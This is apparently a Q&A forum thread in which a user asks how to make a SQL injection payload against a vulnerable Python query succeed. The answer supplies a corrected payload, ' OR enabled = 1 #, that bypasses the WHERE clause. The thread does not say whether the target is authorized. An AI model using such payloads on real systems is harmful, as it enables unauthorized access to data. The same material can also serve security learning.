0

Im found a sql query that is injectable below

"car_info = query("select models, color, running from cars where manual = 1 AND UID = '{}' LIMIT 1".format(uid))")

Where '{}' is the point of injection.

The payload I am trying to enter is:

' OR enabled = 1") #

I am being returned an error below:

(1064, u\"You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ')#' LIMIT 1' at line 1\

How can i get this to properly execute? I feel like I am close.

1 Answer 1

1

If I am reading the syntax correctly, I believe you need to remove your quotations and left parenthesis as it's prematurely ending the query function:

car_info = query("select models, color, running from cars where manual = 1 AND UID = '' OR enabled = 1 # LIMIT 1".format(uid))")

You are posting:

car_info = query("select models, color, running from cars where manual = 1 AND UID = '' OR enabled = 1" )# LIMIT 1".format(uid))")

So try the payload:

' OR enabled = 1 #

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .